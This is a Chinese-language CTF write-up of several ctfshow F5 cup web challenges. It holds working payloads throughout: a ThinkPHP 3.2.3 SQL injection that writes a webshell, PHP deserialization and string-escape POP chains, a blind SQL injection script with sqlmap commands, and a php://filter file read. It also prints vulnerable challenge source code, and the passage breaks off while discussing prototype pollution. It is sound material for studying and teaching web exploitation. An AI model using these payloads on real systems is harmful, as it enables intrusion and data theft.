ctfshowF5杯

lastsward’s website

先弱密码登录

1
admin\123456

看路由好像是tp3.2.3,报错看看能不能成功

1

1

是一个NDAY进行exp注入,将游戏名字修改,利用dumpfile写入shell,不过这个东西,写入文件不可覆盖

1
/index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell.php"--+

1

eazy-unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php
include "mysqlDb.class.php";

class ctfshow{
public $method;
public $args;
public $cursor;

function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->getCursor();
}

function getCursor(){
global $DEBUG;
if (!$this->cursor)
$this->cursor = MySql::getInstance();

if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS USERINFO";
$this->cursor->Exec($sql);
$sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

$this->cursor->Exec($sql);
$sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')";
$this->cursor->Exec($sql);
}
}

function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->cursor->getRow($sql);
$data = $obj['role'];

if ( $data != null ) {
define('Happy', TRUE);
$this->loadData($data);
}
else {
$this->byebye("sorry!");
}
}

function closeCursor(){
$this->cursor = MySql::destroyInstance();
}

function lookme() {
highlight_file(__FILE__);
}

function loadData($data) {

if (substr($data, 0, 2) !== 'O:') {
return unserialize($data);
}
return null;
}

function __destruct() {
$this->getCursor();
if (in_array($this->method, array("login", "lookme"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->byebye("fuc***** hacker ?");
}
$this->closeCursor();
}

function byebye($msg) {
$this->closeCursor();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
}

class Happy{
public $file='flag.php';

function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}

}

function ezwaf($data){
if (preg_match("/ctfshow/",$data)){
die("Hacker !!!");
}
return $data;
}
if(isset($_GET["w_a_n"])) {
@unserialize(ezwaf($_GET["w_a_n"]));
} else {
new CTFSHOW("lookme", array());
}

看到反序列化的这部分,如果没有反序列化就new一个CTFSHOW,那就说明前面的没啥用,我们就看后面的反序列化就可以了

1
2
3
4
5
6
<?php
class Happy{
public $file='/flag';
}
$a=new Happy();
echo serialize($a);
1
/?w[a_n=O:5:"Happy":1:{s:4:"file";s:5:"/flag";}

eazy-unserialize-revenge

我觉得他防止的非预期不知道是啥,我还是直接就打通了

迷惑行为大赏之盲注

看题目肯定是盲注,慢慢测试发现重置密码的部分可以布尔盲注

1
2
admin' and 1=1--+
admin' and 1=2--+

1

1

直接布尔盲注就可以了,先用sqlmap一把梭哈吧

1
2
3
4
python sqlmap.py -u "http://1cb1c469-a625-4030-baed-3eaeddda9f18.challenge.ctf.show/forgot.php" --data="username=admin" -D 测试 -T 15665611612 -C "`what@you@want`" --dump --batch

python sqlmap.py -u "http://1cb1c469-a625-4030-baed-3eaeddda9f18.challenge.ctf.show/forgot.php" --data="username=admin" -D "测试" -T "15665611612" -C "``what@you@want``" --dump --batch

慢慢等,但是这也太慢了吧,这里不能使用普通的ascii,发现里面有中文得用十六进制,先写循环确定长度,然后再枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = 'http://0e8dc8cb-095f-468e-94e0-fed1a2ea7c51.challenge.ctf.show/forgot.php'
i=0

target=""
while True:
i+=1
tail=32
head=127
while tail<head:
mid=(head+tail)//2
# 数据库
# payload = f"admin'AND 1=(ascii(substr((select HEX(group_concat(schema_name)) from information_schema.schemata),{i},1))>{mid})#"
# 表
# payload = f"admin'AND 1=(ascii(substr((select HEX(group_concat(table_name)) from information_schema.tables where table_schema=UNHEX('e6b58be8af95')),{i},1))>{mid})#"
# 列
# payload = f"admin'AND 1=(ascii(substr((select HEX(group_concat(column_name)) from information_schema.columns where table_name=UNHEX('3135363635363131363132')),{i},1))>{mid})#"
# flag
payload = f"admin'AND 1=(ascii(substr((select HEX(group_concat(`what@you@want`)) from `测试`.`15665611612`),{i},1))>{mid})#"
# print(payload)
# print(tail)
# print(head)
data = {"username": payload}
r=requests.post(url,data=data)
if "用户存在,但是不允许修改密码 :P" in r.text:
tail = mid + 1
else:
head = mid
if tail != 32:
target += chr(tail)
else:
break
print(f"\nFinal target: {target}")

说实话非常讲细节了,长度和查内容完全不一样属于是,不过我二分法的话就只需要查内容就可以了

Web逃离计划

弱密码是admin\admin888,但是并没有进后台,查看源码发现有任意文件读取漏洞,能读取没有报错但是好像不能正常读

1
/lookMe.php?file=php://filter/convert.base64-encode/resource=lookMe.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

error_reporting(0);
if ($_GET['file']){
$filename = $_GET['file'];
if ($filename=='logo.png'){
header("Content-Type:image/png");
echo file_get_contents("./static/img/logo.png");
}else{
ini_set('open_basedir','./');
if ($filename=='hint.php'){
echo 'nononono!';
} else{
if(preg_match('/read|[\x00-\x2c]| |flag|\.\.|\.\//i', $filename)){
echo "hacker";
}else{
include($filename);
}
}
}
}else{
highlight_file(__FILE__);
}

所以呢,没了下一步该怎么干,想直接日志文件包含,发现东西位置可能被移动了,读取hint.php看看

1
2
3
4
5
6
7
<?php
echo "Here are some key messages that are hidden but u can't read</br>u may try other ways to read this file to get hints";
//You can only read the following(Files in the current directory),and only top 3 are necessary:
//ezwaf.php
//class.php
//index.php
//lookMe.php

那就一直读就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*ezwaf.php*/
<?php
function get($data){
$data = str_replace('forfun', chr(0)."*".chr(0), $data);
return $data;
}

function checkData($data){
if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){
die("fuc**** hacker!!!\n");
}
else{
return $data;
}
}

function checkLogData($data){
if (preg_match("/register|magic|PersonalFunction/",$data)){
die("fuc**** hacker!!!!\n");
}
else{
return $data;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
/*class.php*/
<?php
error_reporting(0);

class Login{
protected $user_name;
protected $pass_word;
protected $admin;
public function __construct($username,$password){
$this->user_name=$username;
$this->pass_word=$password;
if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
$this->admin = 1;
}else{
$this->admin = 0;
}
}
public function checkStatus(){
return $this->admin;
}
}


class register{
protected $username;
protected $password;
protected $mobile;
protected $mdPwd;

public function __construct($username,$password,$mobile){
$this->username = $username;
$this->password = $password;
$this->mobile = $mobile;
}

public function __toString(){
return $this->mdPwd->pwd;
}
}

class magic{
protected $username;

public function __get($key){
if ($this->username!=='admin'){
die("what do you do?");
}
$this->getFlag($key);
}

public function getFlag($key){
echo $key."</br>";
system("cat /flagg");
}


}

class PersonalFunction{
protected $username;
protected $password;
protected $func = array();

public function __construct($username, $password,$func = "personalData"){
$this->username = $username;
$this->password = $password;
$this->func[$func] = true;
}

public function checkFunction(array $funcBars) {
$retData = null;

$personalProperties = array_flip([
'modifyPwd', 'InvitationCode',
'modifyAvatar', 'personalData',
]);

foreach ($personalProperties as $item => $num){
foreach ($funcBars as $funcBar => $stat) {
if (stristr($stat,$item)){
$retData = true;
}
}
}


return $retData;
}

public function doFunction($function){
// TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
return true;
}


public function __destruct(){
$retData = $this->checkFunction($this->func);
$this->doFunction($retData);

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
/*index.php*/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="./static/layui/css/layui.css">
<style type="text/css">
body{
width:100%;
height: 100%;
background:#FFF
url(./static/img/bak.jpg)
}
.container{
width: 420px;
height: 320px;
min-height: 320px;
max-height: 320px;
position: absolute;
top: 0;
left: 0;
bottom: 0;
right: 0;
margin: auto;
padding: 20px;
z-index: 130;
border-radius: 8px;
background-color: #fff;
box-shadow: 0 3px 18px rgba(100, 0, 0, .5);
font-size: 16px;
}
.close{
background-color: white;
border: none;
font-size: 18px;
margin-left: 410px;
margin-top: -10px;
}

.layui-input{
border-radius: 5px;
width: 300px;
height: 40px;
font-size: 15px;
}
.layui-form-item{
margin-left: -20px;
}
#logoid{
margin-top: -10px;
padding-left:100px;
padding-bottom: 15px;
}
.layui-btn{
margin-left: -50px;
border-radius: 5px;
width: 350px;
height: 40px;
font-size: 15px;
}
.verity{
width: 120px;
}
.font-set{
font-size: 13px;
text-decoration: none;
margin-left: 120px;
}
a:hover{
text-decoration: underline;
}

</style>
</head>
<body>
<?php
include "class.php";
include "ezwaf.php";
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
$finish = false;
if ($username!=null&&$password!=null){
$serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
$login = unserialize($serData);
$loginStatus = $login->checkStatus();
if ($loginStatus){
$_SESSION['login'] = true;
$_COOKIE['status'] = 0;
}
$finish = true;
}
?>
<form class="layui-form" action="" method="post">
<div class="container">
<button class="close" title="关闭">X</button>
<div class="layui-form-mid layui-word-aux">
<?php
if ($finish){
if (1 == $loginStatus){

?>
<img id="logoid" src="lookMe.php?file=logo.png" height="35">
<?php

}else{
echo '<img id="logoid" src="./static/img/logo.png" height="35">';
}
?>
<?php
}else{
?>
<img id="logoid" src="./static/img/logo.png" height="35">
<?php
}
?>
</div>
<div class="layui-form-item">
<label class="layui-form-label">用户名</label>
<div class="layui-input-block">
<input type="text" name="username" required lay-verify="required" placeholder="请输入用户名" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">密 &nbsp;&nbsp;码</label>
<div class="layui-input-inline">
<input type="password" name="password" required lay-verify="required" placeholder="请输入密码" autocomplete="off" class="layui-input">
</div>

<?php
if ($finish){
if (!$loginStatus&&$username==='admin'){
echo '<div class="layui-form-mid layui-word-aux">不是Sql(滑稽</div>';
}
}
?>

</div>
<div class="layui-form-item">
<div class="layui-input-block">
<button class="layui-btn" lay-submit lay-filter="formDemo">登陆</button>
</div>
</div>
</div>
</form>
<script type="text/javascript" src="static/layui/layui.js"></script>
<script>
layui.use(['form', 'layedit', 'laydate'], function(){
var form = layui.form
,layer = layui.layer
<?php
if ($_SESSION['login']){


?>layer.msg('登陆成功,欢迎您,然而并没有什么卵用(Y4小可爱不说假话-eg:Y4说他不做题了睡了)', {
time: 2500, //20s后自动关闭
});
<?php
}
?>
<?php
if ($finish&&$username=='admin'){
$_SESSION['login'] = false;
if ($password!='admin888'){
?>
layer.msg('密码错误,登陆成功有隐藏礼包', {
time: 1000, //20s后自动关闭
});
<?php
}}elseif($finish&&$username!='admin'){
$_SESSION['login'] = false;
?>layer.msg('用户名错误,登陆成功有隐藏礼包', {
time: 1000, //20s后自动关闭
});
<?php
}
?>
//监听提交
form.on('submit(demo1)', function(data){
layer.alert(JSON.stringify(data.field), {
title: '最终的提交信息'
})
return false;
});



});
</script>
</body>
</html>

一看这个反序列化接口的样子看来是逃逸了,把文件保存下来看看链子是什么样子的

1

每次可以逃逸三个字符,

1
PersonalFunction::__destruct()->register::__toString()->magic::__get()->magic::getFlag()

1

是由这个函数触发__toString(),写出poc,说实话这种串起来的,我并不熟悉,属于是很牵强的给写出来了,其中还有就是php版本不高的时候protected可以被public替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Login{
public $user_name;
public $pass_word;
public $admin;
}


class register{
public $mdPwd;
}

class magic{
public $username;
}

class PersonalFunction{
public $func = array();

}
$a=new magic();
$a->username="admin";
$b=new register();
$b->mdPwd=$a;
$c=array($b);
$d=new PersonalFunction();
$d->func=$c;

//echo serialize($d)."\n";
//echo urlencode(serialize($d))."\n";
$e=new Login();
$e->user_name="admin";
$e->pass_word=$d;
$e->admin=0;
echo serialize($e);

还有waf绕过一下就可以了,其中我们这里还要自己补上";s:9:"pass_word";才能正常的进行反序列化

1
O:5:"Login":3:{s:9:"user_name";s:5:"admin";s:9:"pass_word";s:141:"";s:9:"pass_word";O:16:"PersonalFunction":1:{s:4:"func";a:1:{i:0;O:8:"register":1:{s:5:"mdPwd";O:5:"magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin";i:0;}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Login{
public $user_name;
public $pass_word;
public $admin;
}


class register{
public $mdPwd;
}

class magic{
public $username;
}

class PersonalFunction{
public $func = array();

}
$a=new magic();
$a->username="admin";
$b=new register();
$b->mdPwd=$a;
$c=array($b);
$d=new PersonalFunction();
$d->func=$c;
$f=serialize($d);
//echo serialize($d)."\n";
//echo urlencode(serialize($d))."\n";
$e=new Login();
$e->user_name="admin";
$e->pass_word='";s:9:"pass_word";'.$f;
$e->admin=0;
echo serialize($e);
1
O:5:"Login":3:{s:9:"user_name";s:5:"admin";s:9:"pass_word";s:141:"";s:9:"pass_word";O:16:"PersonalFunction":1:{s:4:"func";a:1:{i:0;O:8:"register":1:{s:5:"mdPwd";O:5:"magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin";i:0;}

说实话被饶了很久我都不想看了,其实我逃逸就凭感觉就知道是admin";s:9:"pass_word";s:141:"而为啥给我绕了一下午呢,就是我没注意看代码

1

这里如果要进行正确的反序列化需要补上password那一段,才可以,但是我给忘了,就整了一下午,而且家里也比较吵,哎

1
2
3
print(len('admin";s:9:"pass_word";s:142:"'))
# 刚好30个字符
print("forfun"*10)

还要绕过黑名单,可以利用大小写不敏感来解决

1
username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=1";s:9:"pass_word";O:16:"personalFunction":1:{s:4:"func";a:1:{i:0;O:8:"Register":1:{s:5:"mdPwd";O:5:"Magic":1:{s:8:"username";s:5:"admin";}}}}";s:5:"admin";i:0;}

终于做出来了啊呜呜呜

未完成的项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var indexRouter = require('./routes/index'); /* 鏈嬪弸鎴戞槑澶╀笂鐝鍋囦簡锛岄厤缃垜宸茬粡缁欎綘鎼炲ソ浜嗭紝浣犲垰瀛odejs锛宲ublic鐩綍涓嬫湁鎴戠粰浣犳暡鐨勭ず渚嬶紝浣犺窡鐫€鏁蹭竴涓嬶紝鍔犵偣閿欒閫昏緫灏卞彲浠ヤ笂绾夸簡锛屽埆蹇樹簡鍒犻櫎鍟� */
var app = express();

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'html');


app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);
//app.use('/users', usersRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
res.json({
"error": "404"
})
next(createError(404));
});

// error handler

module.exports = app;

这个很明显没有什么用啊,然后扫描出来了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
var express = require('express');
var router = express.Router();
var db = require('mysql-promise')
const mysql = require( 'mysql' );
const connection = require("mysql");


class Database {
constructor( config ) {
this.connection = mysql.createConnection( config );
}
query( sql, args ) {
return new Promise( ( resolve, reject ) => {
this.connection.query( sql, args, ( err, rows ) => {
if ( err )
return reject( err );
resolve( rows );
} );
} );
}
close() {
return new Promise( ( resolve, reject ) => {
this.connection.end( err => {
if ( err )
return reject(err);
resolve();
} );
} );
}
}



const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}

function clone(a) {
return merge({}, a);
}

router.get('/',function (req,res,next) {
console.log("index");
//res.render('index', {title: 'HTML'});
})


/* GET home page. */
router.post('/', function(req, res, next) {
var body = JSON.parse(JSON.stringify(req.body));

if (body.host != undefined) {
return res.json({
"msg":"fu** hacker!!!"
})
}

var num = 0
for(i in body){
num ++;
}
if(num!=2){
return res.json({
"msg":"fu** hacker!!!"
})
}else{
if(body.username==undefined||body.password==undefined){
return res.json({
"msg":"fu** hacker!!!"
})
}
}

var copybody = clone(body)
var host = copybody.host == undefined ? "localhost" : copybody.host
var flag = "123432432432"
var config = {
host: host,
user: 'root',
password: 'root',
database: 'users'
};

let database=new Database(config);
var user = copybody.username
var pass = copybody.password
function isInValiCode(str) {
var reg= /-| |#|[\x00-\x2f]|[\x3a-\x3f]/;
return reg.test(str);
}
if (isInValiCode(user)){
return res.json({
"msg":"no hacker!!!"
})
}


let someRows, otherRows;
database.query( 'select * from user where user= ? and passwd =?', [user,pass] )
.then( rows => {

if (1 == rows[0].Id) {
res.json({
"msg":flag
})
}

} )
.then( rows => {
otherRows = rows;
return database.close();
}, err => {
return database.close().then( () => { throw err; } )
} )
.then( () => {
res.json({
"error": "err","msg":"user or pass err"
})
})
.catch( err => {
res.json({
"error": "err","msg":"user or pass err"
})
} )
});

module.exports = router;

看到了mergeconstructor,很明显的原型链污染了,但是